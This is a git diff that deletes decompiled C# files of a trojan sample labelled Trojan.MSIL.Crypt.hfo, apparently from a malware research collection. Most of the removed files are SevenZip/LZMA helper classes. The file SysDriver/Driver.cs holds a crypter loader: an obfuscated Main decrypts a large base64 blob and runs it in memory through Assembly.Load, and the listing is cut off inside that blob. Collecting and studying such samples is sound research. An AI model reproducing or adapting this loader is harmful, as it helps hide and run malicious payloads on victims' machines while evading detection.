this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/DataErrorException.cs deleted file mode 100644 index 41224caa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip -{ - internal class DataErrorException : ApplicationException - { - public DataErrorException() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICodeProgress.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICodeProgress.cs deleted file mode 100644 index f078471a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICodeProgress.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICodeProgress -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip -{ - public interface ICodeProgress - { - void SetProgress(long inSize, long outSize); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICoder.cs deleted file mode 100644 index 437fb952..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ICoder.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ICoder -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System.IO; - -namespace SevenZip -{ - public interface ICoder - { - void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetCoderProperties.cs deleted file mode 100644 index 9317f2c1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetCoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetCoderProperties -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip -{ - public interface ISetCoderProperties - { - void SetCoderProperties(CoderPropID[] propIDs, object[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetDecoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetDecoderProperties.cs deleted file mode 100644 index 38a9e3e5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/ISetDecoderProperties.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/IWriteCoderProperties.cs deleted file mode 100644 index b5d071f1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/InvalidParamException.cs deleted file mode 100644 index 9a649001..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/SysDriver/Driver.cs deleted file mode 100644 index 71cebb9f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly Ma4s8WNf9y7G6Pip3HQx5w2Z4Kkr5 = Assembly.Load(Driver.i9T3RxDd87Hoc2NCf65Bbn4ZY("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